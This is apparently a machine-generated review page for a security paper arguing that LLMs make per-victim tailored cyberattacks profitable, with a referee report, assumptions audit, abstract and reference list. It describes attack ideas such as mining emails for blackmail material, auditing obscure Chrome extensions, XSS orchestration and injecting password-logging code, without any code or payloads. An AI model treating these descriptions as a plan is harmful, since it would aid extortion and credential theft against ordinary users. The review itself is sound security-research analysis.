Pith. sign in

REVIEW 4 major objections 6 minor 82 references

LLMs unlock new paths to monetizing exploits

T0 review · 4 major / 6 minor · reviewed 2026-08-15 · deepseek-v4-flash

Challenge this review Re-run · record.json Download PDF Read on arXiv ↗ Review JSON

Pith's one-line read LLMs will make per-victim tailored cyberattacks cheap enough to be profitable.

desk verdict A real, well-transparent set of LLM attack demos wrapped in a compelling economics frame, but the 'imminently practical' long-tail claim overstates what Section 3.2 actually shows. read the letter →

arxiv 2505.11449 v1 pith:YCWQVJO4 submitted 2025-05-16 cs.CR cs.AI

Nicholas Carlini , Milad Nasr , Edoardo Debenedetti , Barry Wang , Christopher A. Choquette-Choo , Daphne Ippolito , Florian Tramèr , Matthew Jagielski This is my paper · ORCID
classification cs.CRcs.AI
keywords LLM-enabledcyberattacksexploiteconomicslong-tailsoftwarevulnerabilitiestargetedblackmailransomwaremonetizationpersonalinformationextractionLLMinferencecosttrendsdefense-in-depth
verification ladder T0 review T1 audit T2 compute T3 formal

The pith

A machine-rendered reading of the paper's core claim, the machinery that carries it, and where it could break.

The reading

Large language models, the paper argues, will change the economics of cyberattacks by removing the need for expert humans in the loop. Today an attacker either strikes broadly with generic ransomware or spends heavily on one high-value target; LLMs, the authors claim, permit both at once — finding easy bugs in software with few users, then customizing how each infected device is monetized. The paper demonstrates this with proof-of-concept attacks using current frontier models: an unassisted model recovers blackmail-worthy secrets from a public corporate email corpus, identifies real vulnerabilities in obscure Chrome extensions, rewrites web-server code to steal passwords, and orchestrates a simulated bank transfer through a browser flaw. Most of these attacks are still too expensive to scale widely today, but the authors argue that falling LLM prices will flip the profitability calculation, so defenders should plan for a world in which ordinary users, not just high-value targets, are plausible victims.

What carries the argument

The load-bearing mechanism is the paper's toy economic equation for a financially motivated adversary: $$\text{value} = (\text{profit per exploit}) \times (\#\text{ impacted}) - (\text{cost to identify vulnerability and develop exploit}).$$ In the pre-LLM world this identity forces a choice between depth and breadth: the fixed cost of finding and weaponizing a bug must be amortized over many victims, so attackers target popular software and monetize in generic ways. LLMs press on both terms at once — they drive the discovery cost low enough that even a few hundred victims can justify an exploit, and they raise the profit per exploit by letting malware personalize what it steals and what it demands. Each case study in the paper is organized around showing that one of these two terms is now within an LLM's reach.

What would settle it

Watch the price of running a fixed capability level — a model that matches today's performance at finding passwords in email and auditing small applications — over the next three years while holding measured yields constant. If that price stops falling, or falls far more slowly than the 9x to 900x per three years the paper cites, then the extrapolation that these attacks become 'economically efficient in the near future' is falsified; the capability demonstrations would stand, but the monetization claim would not.

Watch

Extended reading notes

Core claim

The paper's central claim is that LLMs commodify the adaptive 'intelligence' needed to understand and act on arbitrary data, and that this changes both sides of the exploit equation. On the discovery side, a model can read source code and find simple vulnerabilities in products with only hundreds or thousands of users — software never worth a human attacker's fixed cost — so the long tail of applications becomes a viable target. On the monetization side, a model that can read a victim's emails, photos, and audio can identify the personally most damaging secret and tailor a ransom, replacing the lowest-common-denominator ransomware model. The authors support this with measured demonstrations: an LLM finds twice as many passwords in the Enron emails as a commercial data-loss-prevention tool, at higher precision; it independently concludes that one employee is having an extramarital affair; it flags 54 of 200 audited low-usage Chrome extensions as vulnerable, with 19 confirmed exploitable; and one prompt makes it add password-exfiltrating code to five different web-server frameworks. The conclusion is that it is no longer a question of whether models have the capability, but whether profit exceeds cost — and cost is falling.

Load-bearing premise

The conclusion that these attacks will soon be economically efficient rests on the forecast that LLM inference prices will keep falling at their recent rate (the paper cites 9x to 900x reductions in three years); if that price-performance curve stalls, the demonstrated attacks remain too expensive to scale widely today.

Editorial extensions

If this is right

  • The depth-versus-breadth trade-off that has structured cybercrime for decades erodes: attacks can be both wide and tailored, so ordinary users face threats previously reserved for high-value targets.
  • Software with small user bases — browser extensions, niche web applications, uncommon network devices — becomes an attractive target, because the fixed cost of finding a bug no longer dominates the economics.
  • Ransomware's business model shifts from encryption toward targeted blackmail: the value of a compromised device becomes whatever sensitive material the model finds on it, and the ransom demand can be set per victim.
  • Defense-in-depth must be rethought: defenses aimed at generic attacks, such as monitoring disk writes for encryption or blocking cookie exfiltration, lose value, while detecting on-device LLM inference and large-scale information mining becomes central.
  • Because LLM prices fall while human labor does not, the authors expect these attacks to cross the profitability threshold in the near future, so the threat is a matter of timing rather than of missing capability.

Reading between the lines

Editorial extensions of the paper, not claims the author makes directly.

  • A natural extension the paper does not compute is the cost curve: measure the price per confirmed vulnerability as a function of model capability and API price, and locate the crossover where auditing the long tail of an application category becomes cheaper than the expected payout; the Chrome-extension study supplies one data point ($270 for 200 extensions, 3 high and 16 medium severity confirmed
  • The same logic is dual-use: if attackers can cheaply audit neglected software, so can defenders, which suggests automated security review of unmaintained open-source packages could become viable at a fraction of human cost — a consequence the authors mention only in passing.
  • If LLM inference prices plateau instead of continuing their recent decline, the capability demonstrations stand on their own but the monetization timeline stretches; the case for new defenses does not depend on the extrapolation, only its urgency does.
Share X Bluesky LinkedIn Reddit HN

Signed reviews

No signed human review yet.

Editorial analysis

A structured set of objections, weighed in public.

Desk editor's note, referee report, and a circularity audit.

Referee Report

4 major / 6 minor

Summary. This paper argues that large language models (LLMs) will change the economics of cyberattacks by lowering the cost of vulnerability discovery in long-tail software and by enabling per-victim attack customization. The authors formalize a toy economic model (Section 2.2) and present proof-of-concept experiments: PII extraction from Enron emails, audio, JFK files, LAION images, and personal photos (Section 3.1); automated auditing of 200 low-popularity Chrome extensions (Section 3.2); generation of phishing pages that mimic network devices (Section 3.3); autonomous actions on an authenticated Facebook account (Section 3.4); in-browser XSS orchestration (Section 3.5); and injection of password-logging code into five web server frameworks (Section 3.6). The paper concludes that these attacks, although mostly not yet profitable at current prices, will become economically efficient as LLM inference costs decline, and that this shift requires new defense-in-depth strategies.

Significance. Assuming the results hold, this is a timely and important contribution to the security community's understanding of LLM-enabled threats. The paper's strengths are its concrete proof-of-concept artifacts (public transcripts, prompts, and responsible-disclosure details), its use of public datasets for reproducibility, and its honest acknowledgment of limitations, including the current cost barriers and the absence of fully autonomous exploit generation. The paper also makes falsifiable predictions about inference-cost trajectories, which is a useful feature for future empirical work. However, the central claim that LLMs already lower the joint cost of finding and exploiting vulnerabilities is under-supported by the long-tail experiment, and the autonomy of the XSS demonstration is weaker than the surrounding prose suggests. These issues are correctable with more careful framing or additional experiments.

major comments (4)
  1. [Section 1 vs. Section 3.2.2] Section 1 states that LLMs 'can already find and exploit simple vulnerabilities in software with small user counts (see Section 3.2)', but Section 3.2.2 reports that when asked to produce proof-of-concept exploits, 'current models do not yet have the ability to achieve this step'. The 54 candidate vulnerabilities from the Chrome-extension study were manually validated by the authors, and 19 were confirmed exploitable; no LLM-generated working exploit is presented. Because the toy model in Section 2.2 treats 'cost to identify vulnerability and develop exploit' as a single term, the measured cost reduction covers only the discovery half, while the exploit-development half remains an unmeasured capability forecast. Please reconcile the Section 1 claim with this result, or supply evidence that the exploit-development cost is also reduced by LLMs.
  2. [Section 3.5.1] The XSS orchestration experiment is performed by manually copying the LLM's function requests into a browser JavaScript console and returning the results to the LLM. This human-in-the-loop setup contradicts the Section 3.5 claim that 'LLMs bypass these defenses because they can autonomously run an attack directly on the exploited machine'. The demonstration shows that an LLM can produce a plausible sequence of DOM operations, but not that an autonomous agent can perform the attack end-to-end; the feasibility of replacing the human with an automated harness is an unverified assumption. In addition, the e-banking application used in the experiment 'is not actually vulnerable to such XSS attacks' because of a 2-factor confirmation, so the end-to-end attack would not succeed in the described setting. Please either add an automated agent experiment or weaken the autonomy and practicality claims.
  3. [Section 8 / Section 2.2] The paper's conclusion that the demonstrated attacks are 'likely to become economically efficient in the near future' is based on an external extrapolation of LLM inference-cost reductions (9x-900x over three years, citing Epoch [15] and a16z [2]). None of the paper's experiments measure this trajectory, and no sensitivity analysis is provided for the case where price-performance improvements slow. Since several of the attacks are presently uneconomical (e.g., $270 for 200 Chrome extensions; $60-$100 for the Enron PII task), the central 'will soon alter the economics' thesis rests on an unvalidated forecast. Please state this dependence explicitly and discuss how the conclusions would change under slower cost declines.
  4. [Section 3.1.1] The cost-benefit comparison for LLM-based PII extraction assumes 'the cost of a human filtering out false positives is zero'. This assumption is not justified and materially affects the break-even values ($0.40 per password, $4.48 per credit card) that the paper uses to argue LLMs can be economically valuable for PII mining. If human review of LLM outputs has nonzero cost, the advantage over the $1.50 traditional-DLP baseline narrows or disappears at current prices. Please provide a sensitivity analysis with respect to human-review cost or support the assumption.
minor comments (6)
  1. [Section 3.2.2] The phrase 'patched patched the extension' should be corrected to 'patched the extension'.
  2. [Section 3.3] The typo 'DCHP modification' should be 'DHCP modification'.
  3. [Section 2] In the threat-model discussion, 'resource they could need' should be 'resources they could need'.
  4. [Contributions] The contributions section says Edoardo performed the password-stealing experiments 'in Section 4.2', but the experiments appear in Section 3.6; please update the cross-reference.
  5. [References] Reference [61] is typeset as 'Tomekcce et al.' while the body text writes 'Tömekçe'; please unify the spelling.
  6. [Section 3.1.1] The footnote contains the typo 'we one should not read'; it should read 'one should not read'.

Circularity Check

0 steps flagged · score 1.0 of 10

No material circularity: the economic claims rely on measured API costs and external price-trend data, not on parameters fitted from the paper's own demonstrations.

full rationale

The paper's central argument is that LLMs reduce the cost of vulnerability discovery and monetization and that falling inference prices will make such attacks profitable. The economic model in Section 2.2 (value = profit per exploit × number impacted − cost to identify and develop the exploit) is explicitly adapted from external prior work [41], and none of its terms are fitted from the paper's own experiments. The capability demonstrations in Section 3 are empirical comparisons against public datasets (Enron, JFK, LAION), real Chrome extensions, real web frameworks, and real browser sessions; the LLM outputs are measured directly rather than derived from the paper's conclusions. Cost figures such as $270 for 200 extensions, $3 for the XSS orchestration, and $60–$100 for Enron-wide PII mining are reported measurements, and the future-cost claim cites external trend data from Epoch [15] and a16z [2]. There is no equation or fitted parameter that is later renamed as a prediction. The paper contains self-citations (e.g., [12], [59]), but these are not load-bearing: [12] supports the hedged, non-central claim that current LLMs are not yet as capable as expert humans, and [59] is only a suggestion for future monitoring. One notable evidence-strength mismatch is acknowledged in Section 3.2.2: the LLM did not produce working proof-of-concept exploits, and the 54 candidates were manually validated, so Section 1's phrase 'find and exploit simple vulnerabilities' overstates that specific result. This is a limitation in the strength of the demonstration, not a circular reduction of the conclusion to its own inputs. The extrapolation from current costs to near-term profitability is an external forecast, and its failure would weaken the practical conclusion, but it is not tautological.

Assumptions & free parameters 0 free parameters · 6 assumptions · 0 invented entities

The paper introduces no new mathematical formalism and fits no free parameters. It relies on a toy economic model adapted from prior work, the assumption that time and money are interchangeable, the Enron dataset as a proxy, the ability to query closed-source LLM APIs, the assumption that the human-in-the-loop in the XSS demo can be automated, and the forecast that LLM prices will keep falling. These are stated or cited but not independently proven.

assumptions (6)
  • domain assumption Economic value model: value = (profit per exploit) * (# impacted) - (cost to identify and develop exploit)
    Adapted from Laszka et al. [41], Eq. 6, and used throughout Section 2 to argue which attacks become profitable.
  • domain assumption Time and money are interchangeable for the adversary
    Section 2.1 states this simplification to model financially motivated adversaries.
  • domain assumption LLM inference costs will continue to fall at historical rates
    Section 8 relies on Epoch [15] (9x to 900x price reductions in three years) and a16z [2] to conclude the attacks will become economically efficient.
  • domain assumption Enron emails and audio are a valid proxy for real victims' data
    Footnote 1 and Section 3.1 acknowledge the 2002 corpus differs from modern email but argue relative uplift is meaningful.
  • domain assumption The attacker can query closed-source LLM APIs at scale without detection or blocking
    Threat model in Section 2.1 assumes the adversary can run or query state-of-the-art LLMs; the PoCs rely on API access.
  • ad hoc to paper The human-in-the-loop in the XSS demo can be replaced by an automated agent harness
    Section 3.5.1 states the experimenter manually copies LLM function calls; the claim of autonomous in-browser attack assumes this loop can be automated.

how reviews work

0 comments
Cite this review

Pith. "Pith review of LLMs unlock new paths to monetizing exploits." pith.science (2026). https://pith.science/paper/YCWQVJO4

@misc{pith2026250511449,
  author       = {Pith},
  title        = {Pith review of: LLMs unlock new paths to monetizing exploits},
  year         = {2026},
  howpublished = {\url{https://pith.science/paper/YCWQVJO4}},
  note         = {Machine review of arXiv:2505.11449}
}
read the original abstract

We argue that Large language models (LLMs) will soon alter the economics of cyberattacks. Instead of attacking the most commonly used software and monetizing exploits by targeting the lowest common denominator among victims, LLMs enable adversaries to launch tailored attacks on a user-by-user basis. On the exploitation front, instead of human attackers manually searching for one difficult-to-identify bug in a product with millions of users, LLMs can find thousands of easy-to-identify bugs in products with thousands of users. And on the monetization front, instead of generic ransomware that always performs the same attack (encrypt all your data and request payment to decrypt), an LLM-driven ransomware attack could tailor the ransom demand based on the particular content of each exploited device. We show that these two attacks (and several others) are imminently practical using state-of-the-art LLMs. For example, we show that without any human intervention, an LLM finds highly sensitive personal information in the Enron email dataset (e.g., an executive having an affair with another employee) that could be used for blackmail. While some of our attacks are still too expensive to scale widely today, the incentives to implement these attacks will only increase as LLMs get cheaper. Thus, we argue that LLMs create a need for new defense-in-depth approaches.

Figures

Figures reproduced from arXiv: 2505.11449 by the authors.

Figure 1
Figure 1. LLMs identify various types of sensitive content in email addresses with higher precision and recall than traditional [PITH_FULL_IMAGE:figures/full_fig_p004_1.png] view at source ↗
Figure 2
Figure 2. GPT-4o-mini is over 100× cheaper than the original GPT-4 at launch, and achieves a higher F1 score at identifying passwords in the Enron email dataset. form “given everything you know about this person, what possi￾ble information could I use to blackmail them?” Answering this question requires the ability to “reason” over a large number of documents, in order to best select information that is (a) sensitive, and (b)… view at source ↗
Figure 5
Figure 5. Censored examples images extracted from LAION [PITH_FULL_IMAGE:figures/full_fig_p006_5.png] view at source ↗
Figures from the paper (10 more)
Figure 4
Figure 4. Figure 4: Multimodal LLMs can extract a significant amount [PITH_FULL_IMAGE:figures/full_fig_p006_4.png]
Figure 7
Figure 7. Figure 7: A large language model (Claude 3.7 Sonnet) discov [PITH_FULL_IMAGE:figures/full_fig_p008_7.png]
Figure 8
Figure 8. Figure 8: The system prompt used for transcribing and reviewing Enron Audio files. [PITH_FULL_IMAGE:figures/full_fig_p015_8.png]
Figure 9
Figure 9. Figure 9: Three redacted cropped documents showing 7 (out of 708) Social Security Numbers that LLMs automatically extracted [PITH_FULL_IMAGE:figures/full_fig_p017_9.png]
Figure 10
Figure 10. Figure 10: Four full images from the JFK files (with social security numbers redacted). Note the diverse style and formatting, [PITH_FULL_IMAGE:figures/full_fig_p018_10.png]
Figure 11
Figure 11. Figure 11: The complete un-edited vulnerability analysis of a large language model (Claude 3.7 Sonnet) when provided the [PITH_FULL_IMAGE:figures/full_fig_p019_11.png]
Figure 12
Figure 12. Figure 12: LLMs can replicate the style of key network devices. Even for the same input image different runs can cause different [PITH_FULL_IMAGE:figures/full_fig_p020_12.png]
Figure 13
Figure 13. Figure 13: Entire transcript of Sonnet 3.7 calling JavaScript to perform an in-browser XSS attack on an e-banking website. [PITH_FULL_IMAGE:figures/full_fig_p022_13.png]
Figure 14
Figure 14. Figure 14: The system prompt used for the agent which adds code that logs usernames and passwords. [PITH_FULL_IMAGE:figures/full_fig_p023_14.png]
Figure 15
Figure 15. Figure 15: The user prompt used for the agent which adds code that logs usernames and passwords. The server’s hostname is [PITH_FULL_IMAGE:figures/full_fig_p023_15.png]

Discussion (0). Continue with ORCID to comment.

Reference graph

Works this paper leans on

82 extracted references · 62 canonical work pages

  1. [15]

    LLM inference prices have fallen rapidly but unequally across tasks

    Ben Cottier, Ben Snodin, David Owen, and Tom Adamczewski. LLM inference prices have fallen rapidly but unequally across tasks. https://epoch.ai/data- insights/llm-inference-price-trends, 2025. Accessed: 2025-04-10

    work page 2025

  2. [2]

    Welcome to LLMflation – LLM inference cost is going down fast

    Guido Appenzeller. Welcome to LLMflation – LLM inference cost is going down fast. https://a16z.com/llmflation-llm-inference-cost/, 2024

    2024

  3. [1]

    https://archive.org/details/ enron-archived-materials-enron-audio-recording-tapes, 2006

    Enron archived materials: Audio recording tapes. https://archive.org/details/ enron-archived-materials-enron-audio-recording-tapes, 2006. Accessed: 2025- 01-21

    2006

  4. [3]

    Apple security bounty categories

    Apple. Apple security bounty categories. https://security.apple.com/bounty/categories/, 2025

    work page 2025

  5. [4]

    Bug bounty hunters earned over $4m for xss flaws reported via hackerone in 2020

    Ionut Arghire. Bug bounty hunters earned over $4m for xss flaws reported via hackerone in 2020. https://www.securityweek.com/bug-bounty-hunters-earned- over-4m-xss-flaws-reported-hackerone-2020/, October 2020

    work page 2020

  6. [5]

    Ransomware as a service (RaaS) explained: How it works & examples

    Kurt Baker. Ransomware as a service (RaaS) explained: How it works & examples. https://www.crowdstrike.com/en-us/cybersecurity- 101/ransomware/ransomware-as-a-service-raas/, 1 2023

    work page 2023

  7. [6]

    From Naptime to Big Sleep: Using large language models to catch vulnerabilities in real-world code

    Big Sleep team. From Naptime to Big Sleep: Using large language models to catch vulnerabilities in real-world code. https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big- sleep.html

    work page 2024

  8. [7]

    Evasion attacks against machine learning at test time

    Battista Biggio, Igino Corona, Davide Maiorca, Blaine Nelson, Nedim Šrndić, Pavel Laskov, Giorgio Giacinto, and Fabio Roli. Evasion attacks against machine learning at test time. In Machine learning and knowledge discovery in databases: European conference, ECML pKDD 2013, prague, czech Republic, September 23-27, 2013, proceedings, part III 13 , pages 387...

    work page 2013

Show all 82 references
  1. [8]

    Cook- iExt: Patching the browser against session hijacking attacks.Journal of Computer Security, 23(4):509–537, 2015

    Michele Bugliesi, Stefano Calzavara, Riccardo Focardi, and Wilayat Khan. Cook- iExt: Patching the browser against session hijacking attacks.Journal of Computer Security, 23(4):509–537, 2015

    2015

  2. [9]

    Spear phishing in organisations explained

    Jan-Willem Bullee, Lorena Montoya, Marianne Junger, and Pieter Hartel. Spear phishing in organisations explained. Information & Computer Security, 25(5):593– 613, 2017

    2017

  3. [10]

    The emerging threats of deepfake attacks and countermea- sures

    Shadrack Awah Buo. The emerging threats of deepfake attacks and countermea- sures. arXiv preprint arXiv:2012.07989, 2020

    2012 arXiv

  4. [11]

    Handcrafted fraud and extortion: Manual account hijacking in the wild

    Elie Bursztein, Borbala Benko, Daniel Margolis, Tadek Pietraszek, Andy Archer, Allan Aquino, Andreas Pitsillidis, and Stefan Savage. Handcrafted fraud and extortion: Manual account hijacking in the wild. In Proceedings of the 2014 conference on internet measurement conference ...

    2014

  5. [12]

    AutoAdvExBench: Benchmarking autonomous exploitation of adversar- ial example defenses

    Nicholas Carlini, Javier Rando, Edoardo Debenedetti, Milad Nasr, and Florian Tramèr. AutoAdvExBench: Benchmarking autonomous exploitation of adversar- ial example defenses. arXiv preprint arXiv:2503.01811, 2025

    2025 arXiv

  6. [13]

    Ransomware evolved: Double extortion

    Check Point Research. Ransomware evolved: Double extortion. https://research.checkpoint.com/2020/ransomware-evolved-double-extortion/, 2020

    2020

  7. [14]

    Finance worker pays out $25 million after video call with deepfake ‘chief fi- nancial officer’

    CNN. Finance worker pays out $25 million after video call with deepfake ‘chief fi- nancial officer’. https://www.cnn.com/2024/02/04/asia/deepfake-cfo-scam-hong- kong-intl-hnk/index.html, 2024

    2024

  8. [16]

    One- time cookies: Preventing session hijacking attacks with stateless authentication tokens

    Italo Dacosta, Saurabh Chakradeo, Mustaque Ahamad, and Patrick Traynor. One- time cookies: Preventing session hijacking attacks with stateless authentication tokens. ACM Transactions on Internet Technology (TOIT) , 12(1):1–24, 2012

    2012

  9. [17]

    Do you still need a manual smart contract audit? arXiv preprint arXiv:2306.12338, 2023

    Isaac David, Liyi Zhou, Kaihua Qin, Dawn Song, Lorenzo Cavallaro, and Arthur Gervais. Do you still need a manual smart contract audit? arXiv preprint arXiv:2306.12338, 2023

    2023 arXiv

  10. [18]

    PentestGPT: An LLM- empowered automatic penetration testing tool

    Gelei Deng, Yi Liu, Víctor Mayoral-Vilches, Peng Liu, Yuekang Li, Yuan Xu, Tianwei Zhang, Yang Liu, Martin Pinzger, and Stefan Rass. PentestGPT: An LLM- empowered automatic penetration testing tool. arXiv preprint arXiv:2308.06782, 13 Carlini, Nasr, Debenedetti, Wang, Choquett...

    2023 arXiv

  11. [19]

    Why phishing works

    Rachna Dhamija, J Doug Tygar, and Marti Hearst. Why phishing works. In Proceedings of the SIGCHI conference on Human Factors in computing systems , pages 581–590, 2006

    2006

  12. [20]

    Competitive programming with large reasoning models

    Ahmed El-Kishky, Alexander Wei, Andre Saraiva, Borys Minaiev, Daniel Selsam, David Dohan, Francis Song, Hunter Lightman, Ignasi Clavera, Jakub Pachocki, et al. Competitive programming with large reasoning models. arXiv preprint arXiv:2502.06807, 2025

    2025 arXiv

  13. [21]

    LLM agents can autonomously hack websites

    Richard Fang, Rohan Bindu, Akul Gupta, Qiusi Zhan, and Daniel Kang. LLM agents can autonomously hack websites. arXiv preprint arXiv:2402.06664, 2024

    2024 arXiv

  14. [22]

    Teams of LLM agents can exploit zero-day vulnerabilities

    Richard Fang, Rohan Bindu, Akul Gupta, Qiusi Zhan, and Daniel Kang. Teams of LLM agents can exploit zero-day vulnerabilities. arXiv preprint arXiv:2406.01637, 2024

    2024 arXiv

  15. [23]

    Stuxnet and the future of cyber war

    James P Farwell and Rafal Rohozinski. Stuxnet and the future of cyber war. Survival, 53(1):23–40, 2011

    2011

  16. [24]

    A cute toy just brought a hacker into your home

    Sheera Frenkel. A cute toy just brought a hacker into your home. https://www.nytimes.com/2017/12/21/technology/connected-toys- hacking.html, 2017

    2017

  17. [25]

    Project Naptime: Evalu- ating offensive security capabilities of large language models

    Sergei Glazunov and Mark Brand. Project Naptime: Evalu- ating offensive security capabilities of large language models. https://googleprojectzero.blogspot.com/2024/06/project-naptime.html

    2024

  18. [26]

    A new approach to china

    Google. A new approach to china. https://googleblog.blogspot.com/2010/01/new- approach-to-china.html, 2010

    2010

  19. [27]

    Sensitive data protection pricing

    Google Cloud. Sensitive data protection pricing. https://cloud.google.com/ sensitive-data-protection/pricing. Accessed: April 10, 2025

    2025

  20. [28]

    Translate docs, audio, and videos in real time with Google AI

    Google Cloud. Translate docs, audio, and videos in real time with Google AI. https://cloud.google.com/translate

  21. [29]

    Getting pwn’d by AI: Penetration testing with large language models

    Andreas Happe and Jürgen Cito. Getting pwn’d by AI: Penetration testing with large language models. In Proceedings of the 31st ACM Joint European Software Engineering Conference and Symposium on the Foundations of Software Engineering, pages 2082–2086, 2023

    2023

  22. [30]

    Evaluating large language models’ capability to launch fully auto- mated spear phishing campaigns: Validated on human subjects

    Fred Heiding, Simon Lermen, Andrew Kao, Bruce Schneier, and Arun Vish- wanath. Evaluating large language models’ capability to launch fully auto- mated spear phishing campaigns: Validated on human subjects. arXiv preprint arXiv:2412.00586, 2024

    2024 arXiv

  23. [31]

    Devising and detecting phishing emails using large language models

    Fredrik Heiding, Bruce Schneier, Arun Vishwanath, Jeremy Bernstein, and Peter S Park. Devising and detecting phishing emails using large language models. IEEE Access, 2024

    2024

  24. [32]

    The role of crypto-currency in cybercrime

    Aaron Higbee. The role of crypto-currency in cybercrime. Computer Fraud and Security, 2018(7):13–15, 2018

    2018

  25. [33]

    Detecting and characterizing lateral phishing at scale

    Grant Ho, Asaf Cidon, Lior Gavish, Marco Schweighauser, Vern Paxson, Stefan Savage, Geoffrey M Voelker, and David Wagner. Detecting and characterizing lateral phishing at scale. In 28th USENIX security symposium (USENIX security 19), pages 1273–1290, 2019

    2019

  26. [34]

    OpenAI o1 system card

    Aaron Jaech, Adam Kalai, Adam Lerer, Adam Richardson, Ahmed El-Kishky, Aiden Low, Alec Helyar, Aleksander Madry, Alex Beutel, Alex Carney, et al. OpenAI o1 system card. arXiv preprint arXiv:2412.16720, 2024

    2024 arXiv

  27. [35]

    GPT-4 passes the bar exam

    Daniel Martin Katz, Michael James Bommarito, Shang Gao, and Pablo Arredondo. GPT-4 passes the bar exam. Philosophical Transactions of the Royal Society A , 382, 2024

    2024

  28. [36]

    Tesseract: an open-source optical character recognition engine

    Anthony Kay. Tesseract: an open-source optical character recognition engine. Linux Journal, 2007(159):2, July 2007

    2007

  29. [37]

    Double-extortion ran- somware: A technical analysis of Maze ransomware

    Quintin Kerns, Bryson Payne, and Tamirat Abegaz. Double-extortion ran- somware: A technical analysis of Maze ransomware. In Proceedings of the Future Technologies Conference (FTC) 2021, Volume 3, pages 82–94. Springer, 2022

    2021

  30. [38]

    {UNVEIL}: A{Large-Scale}, automated approach to detecting ran- somware

    Amin Kharaz, Sajjad Arshad, Collin Mulliner, William Robertson, and Engin Kirda. {UNVEIL}: A{Large-Scale}, automated approach to detecting ran- somware. In 25th USENIX security symposium (USENIX Security 16) , pages 757–772, 2016

    2016

  31. [39]

    Cutting the Gordian knot: A look under the hood of ransomware attacks

    Amin Kharraz, William Robertson, Davide Balzarotti, Leyla Bilge, and Engin Kirda. Cutting the Gordian knot: A look under the hood of ransomware attacks. In Detection of Intrusions and Malware, and Vulnerability Assessment: 12th In- ternational Conference, DIMV A 2015, Milan, I...

    2015

  32. [40]

    The Enron corpus: A new dataset for email classification research

    Bryan Klimt and Yiming Yang. The Enron corpus: A new dataset for email classification research. In European conference on machine learning , pages 217–

  33. [41]

    On the economics of ran- somware

    Aron Laszka, Sadegh Farhang, and Jens Grossklags. On the economics of ran- somware. In International Conference on Decision and Game Theory for Security , pages 397–417. Springer, 2017

    2017

  34. [42]

    O’Reilly Media, Inc

    Allan Liska and Timothy Gallo. Ransomware: Defending against digital extortion . " O’Reilly Media, Inc. ", 2016

    2016

  35. [43]

    Evaluating large language model based personal information extraction and countermeasures

    Yupei Liu, Yuqi Jia, Jinyuan Jia, and Neil Zhenqiang Gong. Evaluating large language model based personal information extraction and countermeasures. arXiv preprint arXiv:2408.07291, 2024

    2024 arXiv

  36. [44]

    The ransomware-as-a-service economy within the darknet

    Per Håkon Meland, Yara Fareed Fahmy Bayoumy, and Guttorm Sindre. The ransomware-as-a-service economy within the darknet. Computers & Security, 92:101762, 2020

    2020

  37. [45]

    Identification and processing of PII data, applying deep learning models with improved accuracy and efficiency

    Mainak Mitra and Soumit Roy. Identification and processing of PII data, applying deep learning models with improved accuracy and efficiency. Journal of Data Acquisition and Processing, 33(6):1337, 2018

    2018

  38. [46]

    Credential stuffing

    Neal Mueller. Credential stuffing. https://owasp.org/www-community/attacks/ Credential_stuffing

  39. [47]

    Computer hacker invades web site of the justice depart- ment

    John O’Neil. Computer hacker invades web site of the justice depart- ment. https://www.nytimes.com/1996/08/18/us/computer-hacker-invades-web- site-of-the-justice-department.html, 1996

    1996

  40. [48]

    Preparedness framework (beta)

    OpenAI. Preparedness framework (beta). https://cdn.openai.com/openai- preparedness-framework-beta.pdf, 2023

    2023

  41. [49]

    Mentalist

    Henry Prince. Mentalist. https://github.com/sc0tfree/mentalist

  42. [50]

    Targeted password cracking with OSINT data

    Benjamin Rader. Targeted password cracking with OSINT data. https://publish-01.obsidian.md/access/bc7d7524d47d85b2ee1143f1bbf653b9/ CybersaderNotion/03%20Awesome-Cyber/Grad%20School%20Papers%20and% 20Presentations/Targeted.pdf

  43. [51]

    PassGPT: Password modeling and (guided) generation with large language models

    Javier Rando, Fernando Perez-Cruz, and Briland Hitaj. PassGPT: Password modeling and (guided) generation with large language models. In European Symposium on Research in Computer Security , pages 164–183. Springer, 2023

    2023

  44. [52]

    Tool- former: Language models can teach themselves to use tools

    Timo Schick, Jane Dwivedi-Yu, Roberto Dessì, Roberta Raileanu, Maria Lomeli, Eric Hambro, Luke Zettlemoyer, Nicola Cancedda, and Thomas Scialom. Tool- former: Language models can teach themselves to use tools. Advances in Neural Information Processing Systems, 36:68539–68551, 2023

    2023

  45. [53]

    LAION-5B: An open large-scale dataset for training next generation image-text models

    Christoph Schuhmann, Romain Beaumont, Richard Vencu, Cade Gordon, Ross Wightman, Mehdi Cherti, Theo Coombes, Aarush Katta, Clayton Mullis, Mitchell Wortsman, et al. LAION-5B: An open large-scale dataset for training next generation image-text models. Advances in neural informa...

    2022

  46. [54]

    A tour of the worm

    Donn Seeley. A tour of the worm. In Proceedings of 1989 Winter USENIX Confer- ence, Usenix Association, San Diego, CA, February , 1989

    1989

  47. [55]

    An empirical evaluation of LLMs for solving offensive security challenges

    Minghao Shao, Boyuan Chen, Sofija Jancheska, Brendan Dolan-Gavitt, Siddharth Garg, Ramesh Karri, and Muhammad Shafique. An empirical evaluation of LLMs for solving offensive security challenges. arXiv preprint arXiv:2402.11814, 2024

    2024 arXiv

  48. [56]

    The cracked cookie jar: HTTP cookie hijacking and the exposure of private information

    Suphannee Sivakorn, Iasonas Polakis, and Angelos D Keromytis. The cracked cookie jar: HTTP cookie hijacking and the exposure of private information. In 2016 IEEE symposium on security and privacy (SP) , pages 724–742. IEEE, 2016

    2016

  49. [57]

    Beyond mem- orization: Violating privacy via inference with large language models

    Robin Staab, Mark Vero, Mislav Balunovic, and Martin Vechev. Beyond mem- orization: Violating privacy via inference with large language models. In The Twelfth International Conference on Learning Representations , 2024

    2024

  50. [58]

    Intriguing properties of neural networks

    Christian Szegedy, Wojciech Zaremba, Ilya Sutskever, Joan Bruna, Dumitru Erhan, Ian Goodfellow, and Rob Fergus. Intriguing properties of neural networks. arXiv preprint arXiv:1312.6199, 2013

    2013 arXiv

  51. [59]

    Clio: Privacy-preserving insights into real-world ai use

    Alex Tamkin, Miles McCain, Kunal Handa, Esin Durmus, Liane Lovitt, Ankur Rathi, Saffron Huang, Alfred Mountfield, Jerry Hong, Stuart Ritchie, et al. Clio: Privacy-preserving insights into real-world ai use. arXiv preprint arXiv:2412.13678, 2024

    2024 arXiv

  52. [60]

    Ceo of world’s biggest ad firm targeted by deepfake scam

    The Guardian. Ceo of world’s biggest ad firm targeted by deepfake scam. https://www.theguardian.com/technology/article/2024/may/10/ceo-wpp- deepfake-scam, 2024

    2024

  53. [61]

    Private at- tribute inference from images with vision-language models

